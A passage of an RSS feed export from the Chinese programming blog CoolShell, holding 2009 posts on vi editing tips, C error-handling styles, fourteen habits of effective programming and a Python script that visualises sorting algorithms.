/>\n冒号后跟数字表示要到第几行，如果跟1，表示到文件头，如果跟$，表示到文件尾。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl+G</strong><br />\n可以显示当前行在整个文件的百分比。</p>\n<p style=\"padding-left: 30px;\"><strong>&lt;number&gt;<br />\n</strong>重复一个命令number次。比如先输入50，然后输入dd，表示删除50行。</p>\n<p style=\"padding-left: 30px;\"><strong>yy</strong><br />\n拷贝一个行到VI的剪贴版。</p>\n<p style=\"padding-left: 30px;\"><strong>p<br />\n</strong>粘贴VI</p>\n<p style=\"padding-left: 30px;\"><strong>&gt;&gt; 和 &lt;&lt;<br />\n</strong>用于向右或右左的缩进。</p>\n<p style=\"padding-left: 30px;\"><strong>u<br />\n</strong>undo上一次改变。</p>\n<p style=\"padding-left: 30px;\"><strong>U<br />\n</strong>undo当前行所有的改变。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl + R</strong><br />\nredo被undo了的改变。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_title\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li ><a href=\"https://coolshell.cn/articles/766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"让Ruby增加30%的性能改进\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/766.html\" class=\"wp_rp_title\">让Ruby增加30%的性能改进</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/556.html\">VI的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/556.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言下的错误处理的问题</title>\n\t\t<link>https://coolshell.cn/articles/551.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/551.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2009 04:12:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[defence]]></category>\n\t\t<category><![CDATA[错误处理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=551</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是三种C语言的错误处理，你喜欢哪一种？还是都不喜欢？ /* 问题: 不充分，而且很容易出错，前面成功分配的资源，后面出错需要帮助释放 */ int foo(...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/551.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/551.html\">C语言下的错误处理的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是三种C语言的错误处理，你喜欢哪一种？还是都不喜欢？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n/* 问题: 不充分，而且很容易出错，前面成功分配的资源，后面出错需要帮助释放 */\nint foo(int bar)\n{\n        int return_value = 0;\n        int doing_okay = 1;\n        doing_okay = do_something( bar );\n        if (doing_okay)\n        {\n                doing_okay = init_stuff();\n        }\n        if (doing_okay)\n        {\n                doing_okay = prepare_stuff();\n        }\n        if (doing_okay)\n        {\n                return_value = do_the_thing( bar );\n        }\n        return return_value;\n}\n</pre>\n<p><span id=\"more-551\"></span> </p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n/* 问题： 使用goto语句是很不好的 */\nint foo(int bar)\n{\n        if (!do_something( bar )) {\n                goto error;\n        }\n        if (!init_stuff( bar )) {\n                goto error;\n        }\n        if (!prepare_stuff( bar )) {\n                goto error;\n        }\n        return do_the_thing( bar );\nerror:\n        return 0;\n}\n</pre>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\"> \n/* 问题：太多的if嵌套了，无法阅读 */\nint foo(int bar)\n{\n        int return_value = 0;\n        if (do_something( bar )) {\n                if (init_stuff( bar )) {\n                        if (prepare_stuff( bar )) {\n                                return_value = do_the_thing( bar );\n                         }\n                }\n        }\n        return return_value;\n}\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/551.html\">C语言下的错误处理的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/551.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>有效编程的14件事</title>\n\t\t<link>https://coolshell.cn/articles/546.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/546.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 15 Apr 2009 15:12:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=546</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是14件如何有效编程的方法： 计划(Plan) 所谓Plan，其实就是对应于编程中的“设计”阶段，当然，这里的Plan并不像设计那样重量级。它要求我们程序员...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/546.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/546.html\">有效编程的14件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是14件如何有效编程的方法：</p>\n<ol>\n<li>\n<h4>计划(Plan)</h4>\n<p>所谓Plan，其实就是对应于编程中的“设计”阶段，当然，这里的Plan并不像设计那样重量级。它要求我们程序员在正式编程前至少要考虑一下下面的问题：</p>\n<ul>\n<li>你这个程序，工具或是项目的目的，究竟是用来干什么的。你只有知道做什么，要达到什么样的目的，你才能做得对，做得好。</li>\n<li>需要有什么样的功能。需要你给出来个功能列表。这样可以保证我们不会遗露了什么。</li>\n<li>准备好一些技术难题的前期调查和解决方案。不要等到开始编程的时候才去想。</li>\n</ul>\n<p>下面这你因为有“Plan”而得到的好处：</p>\n<ul>\n<li>你能够清楚地明白你要做的东西长什么样？</li>\n<li>你能清楚知道你要开发的东西要干些什么事？</li>\n<li>你能够在开发过程中解决你所有可能发生的难题。</li>\n</ul>\n</li>\n<p><span id=\"more-546\"></span></p>\n<li>\n<h4>使用伪代码</h4>\n<p>伪代码是一个非常不错的方式，让你可以看到你要写的程序长什么样？根据 <a href=\"http://en.wikipedia.org/wiki/Pseudocode\"><span style=\"color: #84241d;\">维基百科(Wikipedia)</span></a>，伪代码被写定义成这样：</p>\n<blockquote><p>伪代码是一个紧凑和非正式的从高层描述一个计算机编程算法的结构约定。其主要是为了让人阅读而不是让计算机执行。典型的伪代码一般会忽略那些算法中不需要人去关心的细节。比如：变量声明，系统调用，或是子程序。在伪代码中，编程语言被自然的人类语言所增强而放大，从而，更方便，更紧凑。</p></blockquote>\n<p>一些人并不喜欢伪代码，因为他们并不相把同样的代码写两遍，一遍是伪代码，一遍是真代码。其实，这是可以理解的，因为两个copy的东西是比较不好维护的。但是我想，这是可以权衡的，如果的算法很简单，那么就不需要伪代码了，如果你的算法比较复杂，比较绕，那么，有一个伪代码提纲挈领将会是一件非常不错的事情，因为他有利于让别人从一个简单的文档来了解一个复杂的算法或系统。这就好像一个电线的布线图一样，你可以很容易地通过一个简单的文档从复杂的实现中找到头绪。</li>\n<li>\n<h4>书写清楚的注释</h4>\n<p>请在你的代码中书写清楚的程序注释。当然，注释不是越多越好，注释应该是简明扼要的，如果你的程序足够地清楚简单，那么注释就会显的多余。另外，注释应该是注释“原因，理由，目的”，而不是注释“是什么”，在“<a href=\"https://coolshell.cn\" target=\"_blank\">酷壳</a>”的另一篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/340.html\">惹恼程序员的十件事</a>》中，有一条就是关于坏的注释是多么的另个讨厌。</li>\n<li>\n<h4>使用自动的编辑工具</h4>\n<p>自动的编辑工具有很多，比如 <a href=\"http://www.macility.com/products/typinator/\"><span style=\"color: #84241d;\">Typinator</span></a>，这是一个可以通过设定一些替代的简单代码来实现重复语句的快捷插入，比如你自己的签名、常用的语句等等，通过它可以设定替代的简短代码。还有其它一些代码自动完成的工具，比如一些VC的插件，还有像Source Insight这样的东西。别小看这一点点时间，如果你每天都在写代码的话，今天一点点，明天一点点，将会为你省出很多的时间。</li>\n<li>\n<h4>减少代码</h4>\n<p>减少代码的数量，坚持DRY（<span style=\"font-size: x-small;\">Don’t Repeat Yourself</span>） 和KISS（Keep It Simple &amp; Stupid） 原则。这样可以有交物减少代码的复杂度，提高程序的易读性和可维护性，同时也能增加代码的质量。</li>\n<li>\n<h4>代码重用</h4>\n<p>DRY (don’t repeat yourself) 原则就是告诉我们需要重用现有的代码。这样，你才能够站在巨人的肩膀之上，从而可以更多的关注和自己所要处理业务的逻辑。编程的最高境界就是写出来的代码是可能被重用的，重用和泛型这是编程里始终在追求的目标。</li>\n<li>\n<h4>代码重构</h4>\n<p>一些老的代码可能已经不合时宜了，比较以前老的C++的STL库在多线程下可能会出现很多问题。所以，我们自己的代码也是一样的，每过一段时间，我们需要把这些代码回收再利用，这就是软件的重构。重构代码所追求的并不是要提供更多的功能，而是让老的代码更有生命力，让老的代码跟上时代，更具扩展性，灵活性。</li>\n<li>\n<h4>使用设计模式</h4>\n<p>设计模式是一种从代码级解决某一些问题的方法论。这个世界上有很多很多的设计模式，比如MVC，单实例，工厂，观察者等等，等等。使用好的设计模式可以让你的代码更具重用和扩展性。关于设计模式，请参看本站的另一篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/21.html\">101个设计模式</a>》</li>\n<li>\n<h4>使用程序框架Framework</h4>\n<p>Frameworks 是一份给程序员的礼物，他们帮助你完成了很多很细节的事情，他们有可能是一个lib库，你需要进行简单的拼装，一个几乎完成了的软件框架就已形成。这是一个能够给开发工作提速的东西。只要上网随便搜一搜，你可以看到太多太多的框架了。形形色色，几乎都是开源社区贡献的。</li>\n<li>\n<h4>泛型编程</h4>\n<p>如果抽像出一些程序中相似的东西，然后把这些相似的东西用一个标准的东西实现，这也是编程所追求的最高境界之一，像诸如C++中的STL之类的东西就是此类东西的最佳体现。灵活之及，几乎都快放之四海皆准了。</li>\n<li>\n<h4>使用开源的代码</h4>\n<p>这个世界上有太多太多开源的代码了。学会利用他们可以让你更节省时间和精力，因为我们完全没有必要把相当的东西实现若干次，学会使用开源的代码不但是一个学习的过程，同样也是一个增加编程效率的事情。</li>\n<li>\n<h4>完善开发环境</h4>\n<p>开发环境非常重要，因为好的开发环境可以让你事倍功半。他们可以让你不需要关注别的东西，比如，我曾看过某程序员在调整编辑器的字体和高亮上花费了不少工夫。是的，这是值得肯定了，只有把开发环境变得舒服，才能让自己更好的编程。</li>\n<li>\n<h4>使用调试器</h4>\n<p>学会使用调试器来调试代码，单步跟踪，变量值跟踪，内存，堆栈等等。熟练地使用调试器可以让你更好的查找程序的问题，以得到最优的代码。</li>\n<li>\n<h4>使用版本管理工具</h4>\n<p>版本管理工具应该是任何程序员都应该要去学会使用的东西，特别在一个团队中，如何管理程序的不同版本，如何维护，存放代码，版本管理工具绝对是开发过程中不可少的东西。其意义绝对不只代码备份和共享那么简单。下面是一些开源的管理管理工具：<a href=\"http://git-scm.com/\"><span style=\"color: #84241d;\">Git</span></a>，<a href=\"http://subversion.tigris.org/\"><span style=\"color: #84241d;\">SVN</span></a>，<a href=\"http://www.nongnu.org/cvs/\"><span style=\"color: #84241d;\">CVS</span></a>和<a href=\"http://bazaar-vcs.org/\"><span style=\"color: #84241d;\">Bazaar</span></a>。</li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/546.html\">有效编程的14件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/546.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个显示排序过程的Python脚本</title>\n\t\t<link>https://coolshell.cn/articles/536.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/536.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 15 Apr 2009 06:01:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[排序]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=536</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前向大家介绍过《一个排序算法比较的网站》，那个网站用动画演示了各种排序算法，并分析了各种排序算法。这里，要向大家推荐一个Python脚本，其可以把排序的过程给...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/536.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前向大家介绍过《<a class=\"title\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a>》，那个网站用动画演示了各种排序算法，并分析了各种排序算法。这里，要向大家推荐一个Python脚本，其可以把排序的过程给显示出来。</p>\n<p>下图是“<strong>冒泡排序</strong>”的一个示例，其中：</p>\n<ol>\n<li>折线表示了各个元素的位置变化。</li>\n<li>折线的深浅表示了元素的大小。越深则越大。</li>\n</ol>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-537\" title=\"bubble\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble.png\" alt=\"bubble\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/bubble-300x96.png 300w, https://coolshell.cn/wp-content/uploads/2009/04/bubble-604x194.png 604w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p><span id=\"more-536\"></span></p>\n<p>同样，还有其它一些排序算法的图片：</p>\n<p><strong>堆排序（Heap Sort）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/heap.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-539\" title=\"heap\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/heap.png\" alt=\"heap\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/heap.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/heap-300x96.png 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p><strong>选择排序（Selection）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/selection.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-542\" title=\"selection\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/selection.png\" alt=\"selection\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/selection.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/selection-300x96.png 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p><strong>快速排序（Quick）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quick.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-541\" title=\"quick\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/quick.png\" alt=\"quick\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/quick.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/quick-300x96.png 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p><strong>Shell排序</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/shell.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-538\" title=\"shell\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/shell.png\" alt=\"shell\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/shell.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/shell-300x96.png 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p><strong>插入排序（Insertion）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/listinsertion.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-540\" title=\"listinsertion\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/listinsertion.png\" alt=\"listinsertion\" width=\"700\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/listinsertion.png 700w, https://coolshell.cn/wp-content/uploads/2009/04/listinsertion-300x96.png 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" /></a></p>\n<p>你可以使用如下的Python代码来制作这些图片：（需要 <a href=\"http://cairographics.org/\">Cairo</a>图片库支持）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/visualise.py\"><strong>Python排序脚本</strong></a></p>\n<p>这个脚本<code>参数如下：</code></p>\n<ul>\n<li><code>-a 表示使用什么样的算法，取值为\"quick\", \"heap\", \"selection\", \"insertion\", \"bubble\", \"shell\"。</code></li>\n<li><code>-n 表示要排序的数据个数。</code></li>\n<li><code>-f 表示输入文件。</code></li>\n<li><code>-p 表示文件前缀。</code></li>\n<li><code>-d 表示输出顺序。</code></li>\n<li><code>-x 图片宽度。</code></li>\n<li><code>-y 图片高度。</code></li>\n<li><code>-l 所有线的宽度。</code></li>\n<li><code>-b 边界宽度。</code></li>\n</ul>\n<p><code>使用示例如下：</code></p>\n<p><code></p>\n<p style=\"padding-left: 30px;\"><code>./visualise.py -l 6 -x 700 -y 300 -n 15 </code></p>\n<p></code></p>\n<p>文章：<a href=\"http://www.hatfulofhollow.com/posts/code/visualisingsorting/index.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li><li ><a 